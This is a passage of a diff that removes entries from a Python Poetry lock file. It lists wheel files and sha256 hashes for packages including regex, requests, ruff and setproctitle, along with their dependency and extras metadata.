"sha256:1cb740d044aff31898804e7bf1181cc72c03d11dfd19932b9911ffc19a79070a"}, - {file = "regex-2026.1.15-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:05d75a668e9ea16f832390d22131fe1e8acc8389a694c8febc3e340b0f810b93"}, - {file = "regex-2026.1.15-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d991483606f3dbec93287b9f35596f41aa2e92b7c2ebbb935b63f409e243c9af"}, - {file = "regex-2026.1.15-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:194312a14819d3e44628a44ed6fea6898fdbecb0550089d84c403475138d0a09"}, - {file = "regex-2026.1.15-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fe2fda4110a3d0bc163c2e0664be44657431440722c5c5315c65155cab92f9e5"}, - {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:124dc36c85d34ef2d9164da41a53c1c8c122cfb1f6e1ec377a1f27ee81deb794"}, - {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:a1774cd1981cd212506a23a14dba7fdeaee259f5deba2df6229966d9911e767a"}, - {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:b5f7d8d2867152cdb625e72a530d2ccb48a3d199159144cbdd63870882fb6f80"}, - {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:492534a0ab925d1db998defc3c302dae3616a2fc3fe2e08db1472348f096ddf2"}, - {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:c661fc820cfb33e166bf2450d3dadbda47c8d8981898adb9b6fe24e5e582ba60"}, - {file = "regex-2026.1.15-cp313-cp313t-win32.whl", hash = "sha256:99ad739c3686085e614bf77a508e26954ff1b8f14da0e3765ff7abbf7799f952"}, - {file = "regex-2026.1.15-cp313-cp313t-win_amd64.whl", hash = "sha256:32655d17905e7ff8ba5c764c43cb124e34a9245e45b83c22e81041e1071aee10"}, - {file = "regex-2026.1.15-cp313-cp313t-win_arm64.whl", hash = "sha256:b2a13dd6a95e95a489ca242319d18fc02e07ceb28fa9ad146385194d95b3c829"}, - {file = "regex-2026.1.15-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:d920392a6b1f353f4aa54328c867fec3320fa50657e25f64abf17af054fc97ac"}, - {file = "regex-2026.1.15-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:b5a28980a926fa810dbbed059547b02783952e2efd9c636412345232ddb87ff6"}, - {file = "regex-2026.1.15-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:621f73a07595d83f28952d7bd1e91e9d1ed7625fb7af0064d3516674ec93a2a2"}, - {file = "regex-2026.1.15-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3d7d92495f47567a9b1669c51fc8d6d809821849063d168121ef801bbc213846"}, - {file = "regex-2026.1.15-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8dd16fba2758db7a3780a051f245539c4451ca20910f5a5e6ea1c08d06d4a76b"}, - {file = "regex-2026.1.15-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1e1808471fbe44c1a63e5f577a1d5f02fe5d66031dcbdf12f093ffc1305a858e"}, - {file = "regex-2026.1.15-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0751a26ad39d4f2ade8fe16c59b2bf5cb19eb3d2cd543e709e583d559bd9efde"}, - {file = "regex-2026.1.15-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0f0c7684c7f9ca241344ff95a1de964f257a5251968484270e91c25a755532c5"}, - {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:74f45d170a21df41508cb67165456538425185baaf686281fa210d7e729abc34"}, - {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f1862739a1ffb50615c0fde6bae6569b5efbe08d98e59ce009f68a336f64da75"}, - {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:453078802f1b9e2b7303fb79222c054cb18e76f7bdc220f7530fdc85d319f99e"}, - {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:a30a68e89e5a218b8b23a52292924c1f4b245cb0c68d1cce9aec9bbda6e2c160"}, - {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9479cae874c81bf610d72b85bb681a94c95722c127b55445285fb0e2c82db8e1"}, - {file = "regex-2026.1.15-cp314-cp314-win32.whl", hash = "sha256:d639a750223132afbfb8f429c60d9d318aeba03281a5f1ab49f877456448dcf1"}, - {file = "regex-2026.1.15-cp314-cp314-win_amd64.whl", hash = "sha256:4161d87f85fa831e31469bfd82c186923070fc970b9de75339b68f0c75b51903"}, - {file = "regex-2026.1.15-cp314-cp314-win_arm64.whl", hash = "sha256:91c5036ebb62663a6b3999bdd2e559fd8456d17e2b485bf509784cd31a8b1705"}, - {file = "regex-2026.1.15-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:ee6854c9000a10938c79238de2379bea30c82e4925a371711af45387df35cab8"}, - {file = "regex-2026.1.15-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:2c2b80399a422348ce5de4fe40c418d6299a0fa2803dd61dc0b1a2f28e280fcf"}, - {file = "regex-2026.1.15-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:dca3582bca82596609959ac39e12b7dad98385b4fefccb1151b937383cec547d"}, - {file = "regex-2026.1.15-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ef71d476caa6692eea743ae5ea23cde3260677f70122c4d258ca952e5c2d4e84"}, - {file = "regex-2026.1.15-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c243da3436354f4af6c3058a3f81a97d47ea52c9bd874b52fd30274853a1d5df"}, - {file = "regex-2026.1.15-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8355ad842a7c7e9e5e55653eade3b7d1885ba86f124dd8ab1f722f9be6627434"}, - {file = "regex-2026.1.15-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f192a831d9575271a22d804ff1a5355355723f94f31d9eef25f0d45a152fdc1a"}, - {file = "regex-2026.1.15-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:166551807ec20d47ceaeec380081f843e88c8949780cd42c40f18d16168bed10"}, - {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:f9ca1cbdc0fbfe5e6e6f8221ef2309988db5bcede52443aeaee9a4ad555e0dac"}, - {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b30bcbd1e1221783c721483953d9e4f3ab9c5d165aa709693d3f3946747b1aea"}, - {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2a8d7b50c34578d0d3bf7ad58cde9652b7d683691876f83aedc002862a35dc5e"}, - {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:9d787e3310c6a6425eb346be4ff2ccf6eece63017916fd77fe8328c57be83521"}, - {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:619843841e220adca114118533a574a9cd183ed8a28b85627d2844c500a2b0db"}, - {file = "regex-2026.1.15-cp314-cp314t-win32.whl", hash = "sha256:e90b8db97f6f2c97eb045b51a6b2c5ed69cedd8392459e0642d4199b94fabd7e"}, - {file = "regex-2026.1.15-cp314-cp314t-win_amd64.whl", hash = "sha256:5ef19071f4ac9f0834793af85bd04a920b4407715624e40cb7a0631a11137cdf"}, - {file = "regex-2026.1.15-cp314-cp314t-win_arm64.whl", hash = "sha256:ca89c5e596fc05b015f27561b3793dc2fa0917ea0d7507eebb448efd35274a70"}, - {file = "regex-2026.1.15-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:55b4ea996a8e4458dd7b584a2f89863b1655dd3d17b88b46cbb9becc495a0ec5"}, - {file = "regex-2026.1.15-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7e1e28be779884189cdd57735e997f282b64fd7ccf6e2eef3e16e57d7a34a815"}, - {file = "regex-2026.1.15-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0057de9eaef45783ff69fa94ae9f0fd906d629d0bd4c3217048f46d1daa32e9b"}, - {file = "regex-2026.1.15-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc7cd0b2be0f0269283a45c0d8b2c35e149d1319dcb4a43c9c3689fa935c1ee6"}, - {file = "regex-2026.1.15-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8db052bbd981e1666f09e957f3790ed74080c2229007c1dd67afdbf0b469c48b"}, - {file = "regex-2026.1.15-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:343db82cb3712c31ddf720f097ef17c11dab2f67f7a3e7be976c4f82eba4e6df"}, - {file = "regex-2026.1.15-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:55e9d0118d97794367309635df398bdfd7c33b93e2fdfa0b239661cd74b4c14e"}, - {file = "regex-2026.1.15-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:008b185f235acd1e53787333e5690082e4f156c44c87d894f880056089e9bc7c"}, - {file = "regex-2026.1.15-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fd65af65e2aaf9474e468f9e571bd7b189e1df3a61caa59dcbabd0000e4ea839"}, - {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:f42e68301ff4afee63e365a5fc302b81bb8ba31af625a671d7acb19d10168a8c"}, - {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:f7792f27d3ee6e0244ea4697d92b825f9a329ab5230a78c1a68bd274e64b5077"}, - {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:dbaf3c3c37ef190439981648ccbf0c02ed99ae066087dd117fcb616d80b010a4"}, - {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:adc97a9077c2696501443d8ad3fa1b4fc6d131fc8fd7dfefd1a723f89071cf0a"}, - {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:069f56a7bf71d286a6ff932a9e6fb878f151c998ebb2519a9f6d1cee4bffdba3"}, - {file = "regex-2026.1.15-cp39-cp39-win32.whl", hash = "sha256:ea4e6b3566127fda5e007e90a8fd5a4169f0cf0619506ed426db647f19c8454a"}, - {file = "regex-2026.1.15-cp39-cp39-win_amd64.whl", hash = "sha256:cda1ed70d2b264952e88adaa52eea653a33a1b98ac907ae2f86508eb44f65cdc"}, - {file = "regex-2026.1.15-cp39-cp39-win_arm64.whl", hash = "sha256:b325d4714c3c48277bfea1accd94e193ad6ed42b4bad79ad64f3b8f8a31260a5"}, - {file = "regex-2026.1.15.tar.gz", hash = "sha256:164759aa25575cbc0651bef59a0b18353e54300d79ace8084c818ad8ac72b7d5"}, -] - -[[package]] -name = "requests" -version = "2.32.5" -description = "Python HTTP for Humans." -optional = false -python-versions = ">=3.9" -groups = ["main", "docs"] -files = [ - {file = "requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6"}, - {file = "requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf"}, -] - -[package.dependencies] -certifi = ">=2017.4.17" -charset_normalizer = ">=2,<4" -idna = ">=2.5,<4" -urllib3 = ">=1.21.1,<3" - -[package.extras] -socks = ["PySocks (>=1.5.6,!=1.5.7)"] -use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] - -[[package]] -name = "requests-file" -version = "3.0.1" -description = "File transport adapter for Requests" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2"}, - {file = "requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576"}, -] - -[package.dependencies] -requests = ">=1.0.0" - -[[package]] -name = "resolvelib" -version = "1.0.1" -description = "Resolve abstract dependencies into concrete ones" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "resolvelib-1.0.1-py2.py3-none-any.whl", hash = "sha256:d2da45d1a8dfee81bdd591647783e340ef3bcb104b54c383f70d422ef5cc7dbf"}, - {file = "resolvelib-1.0.1.tar.gz", hash = "sha256:04ce76cbd63fded2078ce224785da6ecd42b9564b1390793f64ddecbe997b309"}, -] - -[package.extras] -examples = ["html5lib", "packaging", "pygraphviz", "requests"] -lint = ["black", "flake8", "isort", "mypy", "types-requests"] -release = ["build", "towncrier", "twine"] -test = ["commentjson", "packaging", "pytest"] - -[[package]] -name = "ruff" -version = "0.14.14" -description = "An extremely fast Python linter and code formatter, written in Rust." -optional = false -python-versions = ">=3.7" -groups = ["dev"] -files = [ - {file = "ruff-0.14.14-py3-none-linux_armv6l.whl", hash = "sha256:7cfe36b56e8489dee8fbc777c61959f60ec0f1f11817e8f2415f429552846aed"}, - {file = "ruff-0.14.14-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:6006a0082336e7920b9573ef8a7f52eec837add1265cc74e04ea8a4368cd704c"}, - {file = "ruff-0.14.14-py3-none-macosx_11_0_arm64.whl", hash = "sha256:026c1d25996818f0bf498636686199d9bd0d9d6341c9c2c3b62e2a0198b758de"}, - {file = "ruff-0.14.14-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f666445819d31210b71e0a6d1c01e24447a20b85458eea25a25fe8142210ae0e"}, - {file = "ruff-0.14.14-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3c0f18b922c6d2ff9a5e6c3ee16259adc513ca775bcf82c67ebab7cbd9da5bc8"}, - {file = "ruff-0.14.14-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1629e67489c2dea43e8658c3dba659edbfd87361624b4040d1df04c9740ae906"}, - {file = "ruff-0.14.14-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:27493a2131ea0f899057d49d303e4292b2cae2bb57253c1ed1f256fbcd1da480"}, - {file = "ruff-0.14.14-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:01ff589aab3f5b539e35db38425da31a57521efd1e4ad1ae08fc34dbe30bd7df"}, - {file = "ruff-0.14.14-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1cc12d74eef0f29f51775f5b755913eb523546b88e2d733e1d701fe65144e89b"}, - {file = "ruff-0.14.14-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bb8481604b7a9e75eff53772496201690ce2687067e038b3cc31aaf16aa0b974"}, - {file = "ruff-0.14.14-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:14649acb1cf7b5d2d283ebd2f58d56b75836ed8c6f329664fa91cdea19e76e66"}, - {file = "ruff-0.14.14-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e8058d2145566510790eab4e2fad186002e288dec5e0d343a92fe7b0bc1b3e13"}, - {file = "ruff-0.14.14-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e651e977a79e4c758eb807f0481d673a67ffe53cfa92209781dfa3a996cf8412"}, - {file = "ruff-0.14.14-py3-none-musllinux_1_2_i686.whl", hash = "sha256:cc8b22da8d9d6fdd844a68ae937e2a0adf9b16514e9a97cc60355e2d4b219fc3"}, - {file = "ruff-0.14.14-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:16bc890fb4cc9781bb05beb5ab4cd51be9e7cb376bf1dd3580512b24eb3fda2b"}, - {file = "ruff-0.14.14-py3-none-win32.whl", hash = "sha256:b530c191970b143375b6a68e6f743800b2b786bbcf03a7965b06c4bf04568167"}, - {file = "ruff-0.14.14-py3-none-win_amd64.whl", hash = "sha256:3dde1435e6b6fe5b66506c1dff67a421d0b7f6488d466f651c07f4cab3bf20fd"}, - {file = "ruff-0.14.14-py3-none-win_arm64.whl", hash = "sha256:56e6981a98b13a32236a72a8da421d7839221fa308b223b9283312312e5ac76c"}, - {file = "ruff-0.14.14.tar.gz", hash = "sha256:2d0f819c9a90205f3a867dbbd0be083bee9912e170fd7d9704cc8ae45824896b"}, -] - -[[package]] -name = "setproctitle" -version = "1.3.7" -description = "A Python module to customize the process title" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "setproctitle-1.3.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cf555b6299f10a6eb44e4f96d2f5a3884c70ce25dc5c8796aaa2f7b40e72cb1b"}, - {file = "setproctitle-1.3.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:690b4776f9c15aaf1023bb07d7c5b797681a17af98a4a69e76a1d504e41108b7"}, - {file = "setproctitle-1.3.7-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:00afa6fc507967d8c9d592a887cdc6c1f5742ceac6a4354d111ca0214847732c"}, - {file = "setproctitle-1.3.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9e02667f6b9fc1238ba753c0f4b0a37ae184ce8f3bbbc38e115d99646b3f4cd3"}, - {file = "setproctitle-1.3.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:83fcd271567d133eb9532d3b067c8a75be175b2b3b271e2812921a05303a693f"}, - {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:13fe37951dda1a45c35d77d06e3da5d90e4f875c4918a7312b3b4556cfa7ff64"}, - {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a05509cfb2059e5d2ddff701d38e474169e9ce2a298cf1b6fd5f3a213a553fe5"}, - {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6da835e76ae18574859224a75db6e15c4c2aaa66d300a57efeaa4c97ca4c7381"}, - {file = "setproctitle-1.3.7-cp310-cp310-win32.whl", hash = "sha256:9e803d1b1e20240a93bac0bc1025363f7f80cb7eab67dfe21efc0686cc59ad7c"}, - {file = "setproctitle-1.3.7-cp310-cp310-win_amd64.whl", hash = "sha256:a97200acc6b64ec4cada52c2ecaf1fba1ef9429ce9c542f8a7db5bcaa9dcbd95"}, - {file = "setproctitle-1.3.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a600eeb4145fb0ee6c287cb82a2884bd4ec5bbb076921e287039dcc7b7cc6dd0"}, - {file = "setproctitle-1.3.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:97a090fed480471bb175689859532709e28c085087e344bca45cf318034f70c4"}, - {file = "setproctitle-1.3.7-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1607b963e7b53e24ec8a2cb4e0ab3ae591d7c6bf0a160feef0551da63452b37f"}, - {file = "setproctitle-1.3.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a20fb1a3974e2dab857870cf874b325b8705605cb7e7e8bcbb915bca896f52a9"}, - {file = "setproctitle-1.3.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f8d961bba676e07d77665204f36cffaa260f526e7b32d07ab3df6a2c1dfb44ba"}, - {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:db0fd964fbd3a9f8999b502f65bd2e20883fdb5b1fae3a424e66db9a793ed307"}, - {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:db116850fcf7cca19492030f8d3b4b6e231278e8fe097a043957d22ce1bdf3ee"}, - {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:316664d8b24a5c91ee244460bdaf7a74a707adaa9e14fbe0dc0a53168bb9aba1"}, - {file = "setproctitle-1.3.7-cp311-cp311-win32.whl", hash = "sha256:b74774ca471c86c09b9d5037c8451fff06bb82cd320d26ae5a01c758088c0d5d"}, - {file = "setproctitle-1.3.7-cp311-cp311-win_amd64.whl", hash = "sha256:acb9097213a8dd3410ed9f0dc147840e45ca9797785272928d4be3f0e69e3be4"}, - {file = "setproctitle-1.3.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2dc99aec591ab6126e636b11035a70991bc1ab7a261da428491a40b84376654e"}, - {file = "setproctitle-1.3.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:cdd8aa571b7aa39840fdbea620e308a19691ff595c3a10231e9ee830339dd798"}, - {file = "setproctitle-1.3.7-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2906b6c7959cdb75f46159bf0acd8cc9906cf1361c9e1ded0d065fe8f9039629"}, - {file = "setproctitle-1.3.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6915964a6dda07920a1159321dcd6d94fc7fc526f815ca08a8063aeca3c204f1"}, - {file = "setproctitle-1.3.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cff72899861c765bd4021d1ff1c68d60edc129711a2fdba77f9cb69ef726a8b6"}, - {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b7cb05bd446687ff816a3aaaf831047fc4c364feff7ada94a66024f1367b448c"}, - {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:3a57b9a00de8cae7e2a1f7b9f0c2ac7b69372159e16a7708aa2f38f9e5cc987a"}, - {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d8828b356114f6b308b04afe398ed93803d7fca4a955dd3abe84430e28d33739"}, - {file = "setproctitle-1.3.7-cp312-cp312-win32.whl", hash = "sha256:b0304f905efc845829ac2bc791ddebb976db2885f6171f4a3de678d7ee3f7c9f"}, - {file = "setproctitle-1.3.7-cp312-cp312-win_amd64.whl", hash = "sha256:9888ceb4faea3116cf02a920ff00bfbc8cc899743e4b4ac914b03625bdc3c300"}, - {file = "setproctitle-1.3.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c3736b2a423146b5e62230502e47e08e68282ff3b69bcfe08a322bee73407922"}, - {file = "setproctitle-1.3.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3384e682b158d569e85a51cfbde2afd1ab57ecf93ea6651fe198d0ba451196ee"}, - {file = "setproctitle-1.3.7-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0564a936ea687cd24dffcea35903e2a20962aa6ac20e61dd3a207652401492dd"}, - {file = "setproctitle-1.3.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5d1cb3f81531f0eb40e13246b679a1bdb58762b170303463cb06ecc296f26d0"}, - {file = "setproctitle-1.3.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a7d159e7345f343b44330cbba9194169b8590cb13dae940da47aa36a72aa9929"}, - {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b5074649797fd07c72ca1f6bff0406f4a42e1194faac03ecaab765ce605866f"}, - {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:61e96febced3f61b766115381d97a21a6265a0f29188a791f6df7ed777aef698"}, - {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:047138279f9463f06b858e579cc79580fbf7a04554d24e6bddf8fe5dddbe3d4c"}, - {file = "setproctitle-1.3.7-cp313-cp313-win32.whl", hash = "sha256:7f47accafac7fe6535ba8ba9efd59df9d84a6214565108d0ebb1199119c9cbbd"}, - {file = "setproctitle-1.3.7-cp313-cp313-win_amd64.whl", hash = "sha256:fe5ca35aeec6dc50cabab9bf2d12fbc9067eede7ff4fe92b8f5b99d92e21263f"}, - {file = "setproctitle-1.3.7-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:10e92915c4b3086b1586933a36faf4f92f903c5554f3c34102d18c7d3f5378e9"}, - {file = "setproctitle-1.3.7-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:de879e9c2eab637f34b1a14c4da1e030c12658cdc69ee1b3e5be81b380163ce5"}, - {file = "setproctitle-1.3.7-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c18246d88e227a5b16248687514f95642505000442165f4b7db354d39d0e4c29"}, - {file = "setproctitle-1.3.7-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7081f193dab22df2c36f9fc6d113f3793f83c27891af8fe30c64d89d9a37e152"}, - {file = "setproctitle-1.3.7-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9cc9b901ce129350637426a89cfd650066a4adc6899e47822e2478a74023ff7c"}, - {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:80e177eff2d1ec172188d0d7fd9694f8e43d3aab76a6f5f929bee7bf7894e98b"}, - {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:23e520776c445478a67ee71b2a3c1ffdafbe1f9f677239e03d7e2cc635954e18"}, - {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5fa1953126a3b9bd47049d58c51b9dac72e78ed120459bd3aceb1bacee72357c"}, - {file = "setproctitle-1.3.7-cp313-cp313t-win32.whl", hash = "sha256:4a5e212bf438a4dbeece763f4962ad472c6008ff6702e230b4f16a037e2f6f29"}, - {file = "setproctitle-1.3.7-cp313-cp313t-win_amd64.whl", hash = "sha256:cf2727b733e90b4f874bac53e3092aa0413fe1ea6d4f153f01207e6ce65034d9"}, - {file = "setproctitle-1.3.7-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:80c36c6a87ff72eabf621d0c79b66f3bdd0ecc79e873c1e9f0651ee8bf215c63"}, - {file = "setproctitle-1.3.7-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b53602371a52b91c80aaf578b5ada29d311d12b8a69c0c17fbc35b76a1fd4f2e"}, - {file = "setproctitle-1.3.7-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fcb966a6c57cf07cc9448321a08f3be6b11b7635be502669bc1d8745115d7e7f"}, - {file = "setproctitle-1.3.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46178672599b940368d769474fe13ecef1b587d58bb438ea72b9987f74c56ea5"}, - {file = "setproctitle-1.3.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f9e9e3ff135cbcc3edd2f4cf29b139f4aca040d931573102742db70ff428c17"}, - {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14c7eba8d90c93b0e79c01f0bd92a37b61983c27d6d7d5a3b5defd599113d60e"}, - {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:9e64e98077fb30b6cf98073d6c439cd91deb8ebbf8fc62d9dbf52bd38b0c6ac0"}, - {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b91387cc0f02a00ac95dcd93f066242d3cca10ff9e6153de7ee07069c6f0f7c8"}, - {file = "setproctitle-1.3.7-cp314-cp314-win32.whl", hash = "sha256:52b054a61c99d1b72fba58b7f5486e04b20fefc6961cd76722b424c187f362ed"}, - {file = "setproctitle-1.3.7-cp314-cp314-win_amd64.whl", hash = 